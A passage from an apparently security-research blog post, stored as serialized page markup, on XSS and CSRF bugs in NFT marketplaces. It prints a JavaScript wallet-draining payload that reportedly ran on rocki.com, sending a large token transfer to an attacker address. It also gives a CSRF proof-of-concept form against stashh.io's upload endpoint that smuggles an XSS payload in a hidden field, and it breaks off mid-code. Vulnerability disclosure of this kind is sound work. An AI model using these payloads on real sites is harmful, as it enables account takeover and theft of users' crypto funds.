maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":32,"props":33363,"children":33364},{},[33365],{"type":23,"tag":199,"props":33366,"children":33368},{"alt":7,"src":33367},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":32,"props":33370,"children":33371},{},[33372],{"type":29,"value":33373},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":320,"props":33375,"children":33377},{"id":33376},"wheres-my-wallet",[33378],{"type":29,"value":33379},"Where's My Wallet",{"type":23,"tag":32,"props":33381,"children":33382},{},[33383],{"type":29,"value":33384},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":32,"props":33386,"children":33387},{},[33388],{"type":29,"value":33389},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":32,"props":33391,"children":33392},{},[33393],{"type":29,"value":33394},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":32,"props":33396,"children":33397},{},[33398],{"type":29,"value":33399},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":33401,"props":33402,"children":33404},"div",{"style":33403},"display:flex; align-items:center; flex-direction:column;",[33405],{"type":23,"tag":199,"props":33406,"children":33410},{"src":33407,"alt":33408,"style":33409},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":32,"props":33412,"children":33413},{},[33414],{"type":29,"value":33415},"And here we can find the code used to achieve it :",{"type":23,"tag":4743,"props":33417,"children":33421},{"className":33418,"code":33419,"language":33420,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[33422],{"type":23,"tag":154,"props":33423,"children":33424},{"__ignoreMap":7},[33425,33442,33487,33516,33532,33595,33630,33655,33680,33687,33707,33715,33731,33743,33751,33768,33785,33793,33800,33816,33832,33839,33847,33864,33876,33883,33899,33915,33922,33929,33946,33953,33961,33968,34015,34022,34086,34093,34113,34129,34145,34166,34237,34253,34260,34267,34305,34313,34320,34327,34334,34355],{"type":23,"tag":504,"props":33426,"children":33427},{"class":5016,"line":5017},[33428,33433,33438],{"type":23,"tag":504,"props":33429,"children":33430},{"style":5030},[33431],{"type":29,"value":33432},"function",{"type":23,"tag":504,"props":33434,"children":33435},{"style":5139},[33436],{"type":29,"value":33437}," request",{"type":23,"tag":504,"props":33439,"children":33440},{"style":5058},[33441],{"type":29,"value":17783},{"type":23,"tag":504,"props":33443,"children":33444},{"class":5016,"line":4868},[33445,33450,33454,33459,33464,33468,33473,33478,33483],{"type":23,"tag":504,"props":33446,"children":33447},{"style":5067},[33448],{"type":29,"value":33449},"  if",{"type":23,"tag":504,"props":33451,"children":33452},{"style":5058},[33453],{"type":29,"value":5110},{"type":23,"tag":504,"props":33455,"children":33456},{"style":5030},[33457],{"type":29,"value":33458},"typeof",{"type":23,"tag":504,"props":33460,"children":33461},{"style":5041},[33462],{"type":29,"value":33463}," window",{"type":23,"tag":504,"props":33465,"children":33466},{"style":5058},[33467],{"type":29,"value":357},{"type":23,"tag":504,"props":33469,"children":33470},{"style":5041},[33471],{"type":29,"value":33472},"ethereum",{"type":23,"tag":504,"props":33474,"children":33475},{"style":5047},[33476],{"type":29,"value":33477}," ===",{"type":23,"tag":504,"props":33479,"children":33480},{"style":6297},[33481],{"type":29,"value":33482}," 'undefined'",{"type":23,"tag":504,"props":33484,"children":33485},{"style":5058},[33486],{"type":29,"value":16850},{"type":23,"tag":504,"props":33488,"children":33489},{"class":5016,"line":4876},[33490,33495,33499,33503,33507,33512],{"type":23,"tag":504,"props":33491,"children":33492},{"style":5041},[33493],{"type":29,"value":33494},"    console",{"type":23,"tag":504,"props":33496,"children":33497},{"style":5058},[33498],{"type":29,"value":357},{"type":23,"tag":504,"props":33500,"children":33501},{"style":5139},[33502],{"type":29,"value":16910},{"type":23,"tag":504,"props":33504,"children":33505},{"style":5058},[33506],{"type":29,"value":603},{"type":23,"tag":504,"props":33508,"children":33509},{"style":6297},[33510],{"type":29,"value":33511},"'Please install MetaMask to use this feature.'",{"type":23,"tag":504,"props":33513,"children":33514},{"style":5058},[33515],{"type":29,"value":5888},{"type":23,"tag":504,"props":33517,"children":33518},{"class":5016,"line":5099},[33519,33524,33528],{"type":23,"tag":504,"props":33520,"children":33521},{"style":5058},[33522],{"type":29,"value":33523},"  } ",{"type":23,"tag":504,"props":33525,"children":33526},{"style":5067},[33527],{"type":29,"value":5360},{"type":23,"tag":504,"props":33529,"children":33530},{"style":5058},[33531],{"type":29,"value":5333},{"type":23,"tag":504,"props":33533,"children":33534},{"class":5016,"line":5203},[33535,33540,33544,33549,33554,33559,33564,33569,33574,33579,33583,33587,33591],{"type":23,"tag":504,"props":33536,"children":33537},{"style":5041},[33538],{"type":29,"value":33539},"    ethereum",{"type":23,"tag":504,"props":33541,"children":33542},{"style":5058},[33543],{"type":29,"value":357},{"type":23,"tag":504,"props":33545,"children":33546},{"style":5139},[33547],{"type":29,"value":33548},"request",{"type":23,"tag":504,"props":33550,"children":33551},{"style":5058},[33552],{"type":29,"value":33553},"({ ",{"type":23,"tag":504,"props":33555,"children":33556},{"style":5041},[33557],{"type":29,"value":33558},"method:",{"type":23,"tag":504,"props":33560,"children":33561},{"style":6297},[33562],{"type":29,"value":33563}," 'eth_requestAccounts'",{"type":23,"tag":504,"props":33565,"children":33566},{"style":5058},[33567],{"type":29,"value":33568}," }).",{"type":23,"tag":504,"props":33570,"children":33571},{"style":5139},[33572],{"type":29,"value":33573},"then",{"type":23,"tag":504,"props":33575,"children":33576},{"style":5058},[33577],{"type":29,"value":33578},"((",{"type":23,"tag":504,"props":33580,"children":33581},{"style":5041},[33582],{"type":29,"value":16721},{"type":23,"tag":504,"props":33584,"children":33585},{"style":5058},[33586],{"type":29,"value":5128},{"type":23,"tag":504,"props":33588,"children":33589},{"style":5030},[33590],{"type":29,"value":16868},{"type":23,"tag":504,"props":33592,"children":33593},{"style":5058},[33594],{"type":29,"value":5333},{"type":23,"tag":504,"props":33596,"children":33597},{"class":5016,"line":5308},[33598,33603,33608,33612,33617,33621,33625],{"type":23,"tag":504,"props":33599,"children":33600},{"style":5030},[33601],{"type":29,"value":33602},"      const",{"type":23,"tag":504,"props":33604,"children":33605},{"style":5041},[33606],{"type":29,"value":33607}," fromAddress",{"type":23,"tag":504,"props":33609,"children":33610},{"style":5047},[33611],{"type":29,"value":5050},{"type":23,"tag":504,"props":33613,"children":33614},{"style":5041},[33615],{"type":29,"value":33616}," accounts",{"type":23,"tag":504,"props":33618,"children":33619},{"style":5058},[33620],{"type":29,"value":1380},{"type":23,"tag":504,"props":33622,"children":33623},{"style":5083},[33624],{"type":29,"value":708},{"type":23,"tag":504,"props":33626,"children":33627},{"style":5058},[33628],{"type":29,"value":33629},"];\n",{"type":23,"tag":504,"props":33631,"children":33632},{"class":5016,"line":5336},[33633,33637,33642,33646,33651],{"type":23,"tag":504,"props":33634,"children":33635},{"style":5030},[33636],{"type":29,"value":33602},{"type":23,"tag":504,"props":33638,"children":33639},{"style":5041},[33640],{"type":29,"value":33641}," attackerAddress",{"type":23,"tag":504,"props":33643,"children":33644},{"style":5047},[33645],{"type":29,"value":5050},{"type":23,"tag":504,"props":33647,"children":33648},{"style":6297},[33649],{"type":29,"value":33650}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":504,"props":33652,"children":33653},{"style":5058},[33654],{"type":29,"value":5061},{"type":23,"tag":504,"props":33656,"children":33657},{"class":5016,"line":5349},[33658,33662,33667,33671,33676],{"type":23,"tag":504,"props":33659,"children":33660},{"style":5030},[33661],{"type":29,"value":33602},{"type":23,"tag":504,"props":33663,"children":33664},{"style":5041},[33665],{"type":29,"value":33666}," contractAddress",{"type":23,"tag":504,"props":33668,"children":33669},{"style":5047},[33670],{"type":29,"value":5050},{"type":23,"tag":504,"props":33672,"children":33673},{"style":6297},[33674],{"type":29,"value":33675}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":504,"props":33677,"children":33678},{"style":5058},[33679],{"type":29,"value":5061},{"type":23,"tag":504,"props":33681,"children":33682},{"class":5016,"line":5367},[33683],{"type":23,"tag":504,"props":33684,"children":33685},{"emptyLinePlaceholder":15},[33686],{"type":29,"value":5734},{"type":23,"tag":504,"props":33688,"children":33689},{"class":5016,"line":5388},[33690,33694,33699,33703],{"type":23,"tag":504,"props":33691,"children":33692},{"style":5030},[33693],{"type":29,"value":10120},{"type":23,"tag":504,"props":33695,"children":33696},{"style":5041},[33697],{"type":29,"value":33698}," tokenAbi",{"type":23,"tag":504,"props":33700,"children":33701},{"style":5047},[33702],{"type":29,"value":5050},{"type":23,"tag":504,"props":33704,"children":33705},{"style":5058},[33706],{"type":29,"value":27674},{"type":23,"tag":504,"props":33708,"children":33709},{"class":5016,"line":5397},[33710],{"type":23,"tag":504,"props":33711,"children":33712},{"style":5058},[33713],{"type":29,"value":33714},"        {\n",{"type":23,"tag":504,"props":33716,"children":33717},{"class":5016,"line":5649},[33718,33723,33727],{"type":23,"tag":504,"props":33719,"children":33720},{"style":5041},[33721],{"type":29,"value":33722},"          constant:",{"type":23,"tag":504,"props":33724,"children":33725},{"style":5030},[33726],{"type":29,"value":11104},{"type":23,"tag":504,"props":33728,"children":33729},{"style":5058},[33730],{"type":29,"value":5557},{"type":23,"tag":504,"props":33732,"children":33733},{"class":5016,"line":5666},[33734,33739],{"type":23,"tag":504,"props":33735,"children":33736},{"style":5041},[33737],{"type":29,"value":33738},"          inputs:",{"type":23,"tag":504,"props":33740,"children":33741},{"style":5058},[33742],{"type":29,"value":27674},{"type":23,"tag":504,"props":33744,"children":33745},{"class":5016,"line":5683},[33746],{"type":23,"tag":504,"props":33747,"children":33748},{"style":5058},[33749],{"type":29,"value":33750},"            {\n",{"type":23,"tag":504,"props":33752,"children":33753},{"class":5016,"line":5696},[33754,33759,33764],{"type":23,"tag":504,"props":33755,"children":33756},{"style":5041},[33757],{"type":29,"value":33758},"              name:",{"type":23,"tag":504,"props":33760,"children":33761},{"style":6297},[33762],{"type":29,"value":33763}," '_to'",{"type":23,"tag":504,"props":33765,"children":33766},{"style":5058},[33767],{"type":29,"value":5557},{"type":23,"tag":504,"props":33769,"children":33770},{"class":5016,"line":5705},[33771,33776,33781],{"type":23,"tag":504,"props":33772,"children":33773},{"style":5041},[33774],{"type":29,"value":33775},"              type:",{"type":23,"tag":504,"props":33777,"children":33778},{"style":6297},[33779],{"type":29,"value":33780}," 'address'",{"type":23,"tag":504,"props":33782,"children":33783},{"style":5058},[33784],{"type":29,"value":5557},{"type":23,"tag":504,"props":33786,"children":33787},{"class":5016,"line":5728},[33788],{"type":23,"tag":504,"props":33789,"children":33790},{"style":5058},[33791],{"type":29,"value":33792},"            },\n",{"type":23,"tag":504,"props":33794,"children":33795},{"class":5016,"line":5737},[33796],{"type":23,"tag":504,"props":33797,"children":33798},{"style":5058},[33799],{"type":29,"value":33750},{"type":23,"tag":504,"props":33801,"children":33802},{"class":5016,"line":5746},[33803,33807,33812],{"type":23,"tag":504,"props":33804,"children":33805},{"style":5041},[33806],{"type":29,"value":33758},{"type":23,"tag":504,"props":33808,"children":33809},{"style":6297},[33810],{"type":29,"value":33811}," '_value'",{"type":23,"tag":504,"props":33813,"children":33814},{"style":5058},[33815],{"type":29,"value":5557},{"type":23,"tag":504,"props":33817,"children":33818},{"class":5016,"line":5813},[33819,33823,33828],{"type":23,"tag":504,"props":33820,"children":33821},{"style":5041},[33822],{"type":29,"value":33775},{"type":23,"tag":504,"props":33824,"children":33825},{"style":6297},[33826],{"type":29,"value":33827}," 'uint256'",{"type":23,"tag":504,"props":33829,"children":33830},{"style":5058},[33831],{"type":29,"value":5557},{"type":23,"tag":504,"props":33833,"children":33834},{"class":5016,"line":5821},[33835],{"type":23,"tag":504,"props":33836,"children":33837},{"style":5058},[33838],{"type":29,"value":33792},{"type":23,"tag":504,"props":33840,"children":33841},{"class":5016,"line":5851},[33842],{"type":23,"tag":504,"props":33843,"children":33844},{"style":5058},[33845],{"type":29,"value":33846},"          ],\n",{"type":23,"tag":504,"props":33848,"children":33849},{"class":5016,"line":5859},[33850,33855,33860],{"type":23,"tag":504,"props":33851,"children":33852},{"style":5041},[33853],{"type":29,"value":33854},"          name:",{"type":23,"tag":504,"props":33856,"children":33857},{"style":6297},[33858],{"type":29,"value":33859}," 'transfer'",{"type":23,"tag":504,"props":33861,"children":33862},{"style":5058},[33863],{"type":29,"value":5557},{"type":23,"tag":504,"props":33865,"children":33866},{"class":5016,"line":5891},[33867,33872],{"type":23,"tag":504,"props":33868,"children":33869},{"style":5041},[33870],{"type":29,"value":33871},"          outputs:",{"type":23,"tag":504,"props":33873,"children":33874},{"style":5058},[33875],{"type":29,"value":27674},{"type":23,"tag":504,"props":33877,"children":33878},{"class":5016,"line":5899},[33879],{"type":23,"tag":504,"props":33880,"children":33881},{"style":5058},[33882],{"type":29,"value":33750},{"type":23,"tag":504,"props":33884,"children":33885},{"class":5016,"line":5959},[33886,33890,33895],{"type":23,"tag":504,"props":33887,"children":33888},{"style":5041},[33889],{"type":29,"value":33758},{"type":23,"tag":504,"props":33891,"children":33892},{"style":6297},[33893],{"type":29,"value":33894}," ''",{"type":23,"tag":504,"props":33896,"children":33897},{"style":5058},[33898],{"type":29,"value":5557},{"type":23,"tag":504,"props":33900,"children":33901},{"class":5016,"line":11093},[33902,33906,33911],{"type":23,"tag":504,"props":33903,"children":33904},{"style":5041},[33905],{"type":29,"value":33775},{"type":23,"tag":504,"props":33907,"children":33908},{"style":6297},[33909],{"type":29,"value":33910}," 'bool'",{"type":23,"tag":504,"props":33912,"children":33913},{"style":5058},[33914],{"type":29,"value":5557},{"type":23,"tag":504,"props":33916,"children":33917},{"class":5016,"line":11111},[33918],{"type":23,"tag":504,"props":33919,"children":33920},{"style":5058},[33921],{"type":29,"value":33792},{"type":23,"tag":504,"props":33923,"children":33924},{"class":5016,"line":11156},[33925],{"type":23,"tag":504,"props":33926,"children":33927},{"style":5058},[33928],{"type":29,"value":33846},{"type":23,"tag":504,"props":33930,"children":33931},{"class":5016,"line":11262},[33932,33937,33942],{"type":23,"tag":504,"props":33933,"children":33934},{"style":5041},[33935],{"type":29,"value":33936},"          type:",{"type":23,"tag":504,"props":33938,"children":33939},{"style":6297},[33940],{"type":29,"value":33941}," 'function'",{"type":23,"tag":504,"props":33943,"children":33944},{"style":5058},[33945],{"type":29,"value":5557},{"type":23,"tag":504,"props":33947,"children":33948},{"class":5016,"line":25550},[33949],{"type":23,"tag":504,"props":33950,"children":33951},{"style":5058},[33952],{"type":29,"value":27426},{"type":23,"tag":504,"props":33954,"children":33955},{"class":5016,"line":25585},[33956],{"type":23,"tag":504,"props":33957,"children":33958},{"style":5058},[33959],{"type":29,"value":33960},"      ];\n",{"type":23,"tag":504,"props":33962,"children":33963},{"class":5016,"line":25593},[33964],{"type":23,"tag":504,"props":33965,"children":33966},{"emptyLinePlaceholder":15},[33967],{"type":29,"value":5734},{"type":23,"tag":504,"props":33969,"children":33970},{"class":5016,"line":25601},[33971,33975,33980,33984,33989,33994,33998,34003,34007,34011],{"type":23,"tag":504,"props":33972,"children":33973},{"style":5030},[33974],{"type":29,"value":33602},{"type":23,"tag":504,"props":33976,"children":33977},{"style":5041},[33978],{"type":29,"value":33979}," web3",{"type":23,"tag":504,"props":33981,"children":33982},{"style":5047},[33983],{"type":29,"value":5050},{"type":23,"tag":504,"props":33985,"children":33986},{"style":5030},[33987],{"type":29,"value":33988}," new",{"type":23,"tag":504,"props":33990,"children":33991},{"style":5139},[33992],{"type":29,"value":33993}," Web3",{"type":23,"tag":504,"props":33995,"children":33996},{"style":5058},[33997],{"type":29,"value":603},{"type":23,"tag":504,"props":33999,"children":34000},{"style":5041},[34001],{"type":29,"value":34002},"window",{"type":23,"tag":504,"props":34004,"children":34005},{"style":5058},[34006],{"type":29,"value":357},{"type":23,"tag":504,"props":34008,"children":34009},{"style":5041},[34010],{"type":29,"value":33472},{"type":23,"tag":504,"props":34012,"children":34013},{"style":5058},[34014],{"type":29,"value":5888},{"type":23,"tag":504,"props":34016,"children":34017},{"class":5016,"line":25610},[34018],{"type":23,"tag":504,"props":34019,"children":34020},{"emptyLinePlaceholder":15},[34021],{"type":29,"value":5734},{"type":23,"tag":504,"props":34023,"children":34024},{"class":5016,"line":25652},[34025,34029,34034,34038,34042,34046,34050,34055,34059,34064,34068,34073,34077,34082],{"type":23,"tag":504,"props":34026,"children":34027},{"style":5030},[34028],{"type":29,"value":33602},{"type":23,"tag":504,"props":34030,"children":34031},{"style":5041},[34032],{"type":29,"value":34033}," tokenContract",{"type":23,"tag":504,"props":34035,"children":34036},{"style":5047},[34037],{"type":29,"value":5050},{"type":23,"tag":504,"props":34039,"children":34040},{"style":5030},[34041],{"type":29,"value":33988},{"type":23,"tag":504,"props":34043,"children":34044},{"style":5041},[34045],{"type":29,"value":33979},{"type":23,"tag":504,"props":34047,"children":34048},{"style":5058},[34049],{"type":29,"value":357},{"type":23,"tag":504,"props":34051,"children":34052},{"style":5041},[34053],{"type":29,"value":34054},"eth",{"type":23,"tag":504,"props":34056,"children":34057},{"style":5058},[34058],{"type":29,"value":357},{"type":23,"tag":504,"props":34060,"children":34061},{"style":5139},[34062],{"type":29,"value":34063},"Contract",{"type":23,"tag":504,"props":34065,"children":34066},{"style":5058},[34067],{"type":29,"value":603},{"type":23,"tag":504,"props":34069,"children":34070},{"style":5041},[34071],{"type":29,"value":34072},"tokenAbi",{"type":23,"tag":504,"props":34074,"children":34075},{"style":5058},[34076],{"type":29,"value":4367},{"type":23,"tag":504,"props":34078,"children":34079},{"style":5041},[34080],{"type":29,"value":34081},"contractAddress",{"type":23,"tag":504,"props":34083,"children":34084},{"style":5058},[34085],{"type":29,"value":5888},{"type":23,"tag":504,"props":34087,"children":34088},{"class":5016,"line":25685},[34089],{"type":23,"tag":504,"props":34090,"children":34091},{"emptyLinePlaceholder":15},[34092],{"type":29,"value":5734},{"type":23,"tag":504,"props":34094,"children":34095},{"class":5016,"line":25693},[34096,34100,34105,34109],{"type":23,"tag":504,"props":34097,"children":34098},{"style":5030},[34099],{"type":29,"value":33602},{"type":23,"tag":504,"props":34101,"children":34102},{"style":5041},[34103],{"type":29,"value":34104}," transactionObject",{"type":23,"tag":504,"props":34106,"children":34107},{"style":5047},[34108],{"type":29,"value":5050},{"type":23,"tag":504,"props":34110,"children":34111},{"style":5058},[34112],{"type":29,"value":5333},{"type":23,"tag":504,"props":34114,"children":34115},{"class":5016,"line":25701},[34116,34121,34125],{"type":23,"tag":504,"props":34117,"children":34118},{"style":5041},[34119],{"type":29,"value":34120},"        from:",{"type":23,"tag":504,"props":34122,"children":34123},{"style":5041},[34124],{"type":29,"value":33607},{"type":23,"tag":504,"props":34126,"children":34127},{"style":5058},[34128],{"type":29,"value":5557},{"type":23,"tag":504,"props":34130,"children":34131},{"class":5016,"line":25710},[34132,34137,34141],{"type":23,"tag":504,"props":34133,"children":34134},{"style":5041},[34135],{"type":29,"value":34136},"        to:",{"type":23,"tag":504,"props":34138,"children":34139},{"style":5041},[34140],{"type":29,"value":33666},{"type":23,"tag":504,"props":34142,"children":34143},{"style":5058},[34144],{"type":29,"value":5557},{"type":23,"tag":504,"props":34146,"children":34147},{"class":5016,"line":25786},[34148,34153,34157,34161],{"type":23,"tag":504,"props":34149,"children":34150},{"style":5041},[34151],{"type":29,"value":34152},"        data:",{"type":23,"tag":504,"props":34154,"children":34155},{"style":5041},[34156],{"type":29,"value":34033},{"type":23,"tag":504,"props":34158,"children":34159},{"style":5058},[34160],{"type":29,"value":357},{"type":23,"tag":504,"props":34162,"children":34163},{"style":5041},[34164],{"type":29,"value":34165},"methods\n",{"type":23,"tag":504,"props":34167,"children":34168},{"class":5016,"line":25819},[34169,34174,34179,34183,34188,34192,34197,34201,34206,34210,34215,34219,34224,34228,34233],{"type":23,"tag":504,"props":34170,"children":34171},{"style":5058},[34172],{"type":29,"value":34173},"          .",{"type":23,"tag":504,"props":34175,"children":34176},{"style":5139},[34177],{"type":29,"value":34178},"transfer",{"type":23,"tag":504,"props":34180,"children":34181},{"style":5058},[34182],{"type":29,"value":603},{"type":23,"tag":504,"props":34184,"children":34185},{"style":5041},[34186],{"type":29,"value":34187},"attackerAddress",{"type":23,"tag":504,"props":34189,"children":34190},{"style":5058},[34191],{"type":29,"value":4367},{"type":23,"tag":504,"props":34193,"children":34194},{"style":5041},[34195],{"type":29,"value":34196},"web3",{"type":23,"tag":504,"props":34198,"children":34199},{"style":5058},[34200],{"type":29,"value":357},{"type":23,"tag":504,"props":34202,"children":34203},{"style":5041},[34204],{"type":29,"value":34205},"utils",{"type":23,"tag":504,"props":34207,"children":34208},{"style":5058},[34209],{"type":29,"value":357},{"type":23,"tag":504,"props":34211,"children":34212},{"style":5139},[34213],{"type":29,"value":34214},"toWei",{"type":23,"tag":504,"props":34216,"children":34217},{"style":5058},[34218],{"type":29,"value":603},{"type":23,"tag":504,"props":34220,"children":34221},{"style":6297},[34222],{"type":29,"value":34223},"'100000000'",{"type":23,"tag":504,"props":34225,"children":34226},{"style":5058},[34227],{"type":29,"value":4367},{"type":23,"tag":504,"props":34229,"children":34230},{"style":6297},[34231],{"type":29,"value":34232},"'ether'",{"type":23,"tag":504,"props":34234,"children":34235},{"style":5058},[34236],{"type":29,"value":21764},{"type":23,"tag":504,"props":34238,"children":34239},{"class":5016,"line":25827},[34240,34244,34249],{"type":23,"tag":504,"props":34241,"children":34242},{"style":5058},[34243],{"type":29,"value":34173},{"type":23,"tag":504,"props":34245,"children":34246},{"style":5139},[34247],{"type":29,"value":34248},"encodeABI",{"type":23,"tag":504,"props":34250,"children":34251},{"style":5058},[34252],{"type":29,"value":5540},{"type":23,"tag":504,"props":34254,"children":34255},{"class":5016,"line":25835},[34256],{"type":23,"tag":504,"props":34257,"children":34258},{"style":5058},[34259],{"type":29,"value":10966},{"type":23,"tag":504,"props":34261,"children":34262},{"class":5016,"line":25872},[34263],{"type":23,"tag":504,"props":34264,"children":34265},{"emptyLinePlaceholder":15},[34266],{"type":29,"value":5734},{"type":23,"tag":504,"props":34268,"children":34269},{"class":5016,"line":25885},[34270,34275,34279,34283,34287,34292,34296,34301],{"type":23,"tag":504,"props":34271,"children":34272},{"style":5041},[34273],{"type":29,"value":34274},"      web3",{"type":23,"tag":504,"props":34276,"children":34277},{"style":5058},[34278],{"type":29,"value":357},{"type":23,"tag":504,"props":34280,"children":34281},{"style":5041},[34282],{"type":29,"value":34054},{"type":23,"tag":504,"props":34284,"children":34285},{"style":5058},[34286],{"type":29,"value":357},{"type":23,"tag":504,"props":34288,"children":34289},{"style":5139},[34290],{"type":29,"value":34291},"sendTransaction",{"type":23,"tag":504,"props":34293,"children":34294},{"style":5058},[34295],{"type":29,"value":603},{"type":23,"tag":504,"props":34297,"children":34298},{"style":5041},[34299],{"type":29,"value":34300},"transactionObject",{"type":23,"tag":504,"props":34302,"children":34303},{"style":5058},[34304],{"type":29,"value":5888},{"type":23,"tag":504,"props":34306,"children":34307},{"class":5016,"line":25898},[34308],{"type":23,"tag":504,"props":34309,"children":34310},{"style":5058},[34311],{"type":29,"value":34312},"    });\n",{"type":23,"tag":504,"props":34314,"children":34315},{"class":5016,"line":25911},[34316],{"type":23,"tag":504,"props":34317,"children":34318},{"style":5058},[34319],{"type":29,"value":7917},{"type":23,"tag":504,"props":34321,"children":34322},{"class":5016,"line":25965},[34323],{"type":23,"tag":504,"props":34324,"children":34325},{"style":5058},[34326],{"type":29,"value":5965},{"type":23,"tag":504,"props":34328,"children":34329},{"class":5016,"line":25974},[34330],{"type":23,"tag":504,"props":34331,"children":34332},{"emptyLinePlaceholder":15},[34333],{"type":29,"value":5734},{"type":23,"tag":504,"props":34335,"children":34337},{"class":5016,"line":34336},51,[34338,34342,34346,34351],{"type":23,"tag":504,"props":34339,"children":34340},{"style":5030},[34341],{"type":29,"value":21535},{"type":23,"tag":504,"props":34343,"children":34344},{"style":5058},[34345],{"type":29,"value":603},{"type":23,"tag":504,"props":34347,"children":34348},{"style":6297},[34349],{"type":29,"value":34350},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":504,"props":34352,"children":34353},{"style":5058},[34354],{"type":29,"value":5888},{"type":23,"tag":504,"props":34356,"children":34358},{"class":5016,"line":34357},52,[34359,34364,34368,34372,34376,34381],{"type":23,"tag":504,"props":34360,"children":34361},{"style":5139},[34362],{"type":29,"value":34363},"setTimeout",{"type":23,"tag":504,"props":34365,"children":34366},{"style":5058},[34367],{"type":29,"value":603},{"type":23,"tag":504,"props":34369,"children":34370},{"style":5041},[34371],{"type":29,"value":33548},{"type":23,"tag":504,"props":34373,"children":34374},{"style":5058},[34375],{"type":29,"value":4367},{"type":23,"tag":504,"props":34377,"children":34378},{"style":5083},[34379],{"type":29,"value":34380},"1e3",{"type":23,"tag":504,"props":34382,"children":34383},{"style":5058},[34384],{"type":29,"value":5888},{"type":23,"tag":32,"props":34386,"children":34387},{},[34388,34393],{"type":23,"tag":38,"props":34389,"children":34390},{},[34391],{"type":29,"value":34392},"CSRF & XSS",{"type":29,"value":34394},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":32,"props":34396,"children":34397},{},[34398,34400,34405],{"type":29,"value":34399},"Our attention was drawn to ",{"type":23,"tag":68,"props":34401,"children":34403},{"href":33335,"rel":34402},[72],[34404],{"type":29,"value":33339},{"type":29,"value":34406},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":32,"props":34408,"children":34409},{},[34410],{"type":23,"tag":199,"props":34411,"children":34413},{"alt":7,"src":34412},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":32,"props":34415,"children":34416},{},[34417],{"type":29,"value":34418},"and here there is the code:",{"type":23,"tag":4743,"props":34420,"children":34422},{"className":33418,"code":34421,"language":33420,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[34423],{"type":23,"tag":154,"props":34424,"children":34425},{"__ignoreMap":7},[34426,34443,34460,34494,34580,34637,34836,34877,34893,34909,34916,34931,34938,34950,35009,35016,35079,35108,35145,35152,35190,35203,35210,35225],{"type":23,"tag":504,"props":34427,"children":34428},{"class":5016,"line":5017},[34429,34434,34439],{"type":23,"tag":504,"props":34430,"children":34432},{"style":34431},"--shiki-default:#808080",[34433],{"type":29,"value":2658},{"type":23,"tag":504,"props":34435,"children":34436},{"style":5030},[34437],{"type":29,"value":34438},"html",{"type":23,"tag":504,"props":34440,"children":34441},{"style":34431},[34442],{"type":29,"value":8038},{"type":23,"tag":504,"props":34444,"children":34445},{"class":5016,"line":4868},[34446,34451,34456],{"type":23,"tag":504,"props":34447,"children":34448},{"style":34431},[34449],{"type":29,"value":34450},"  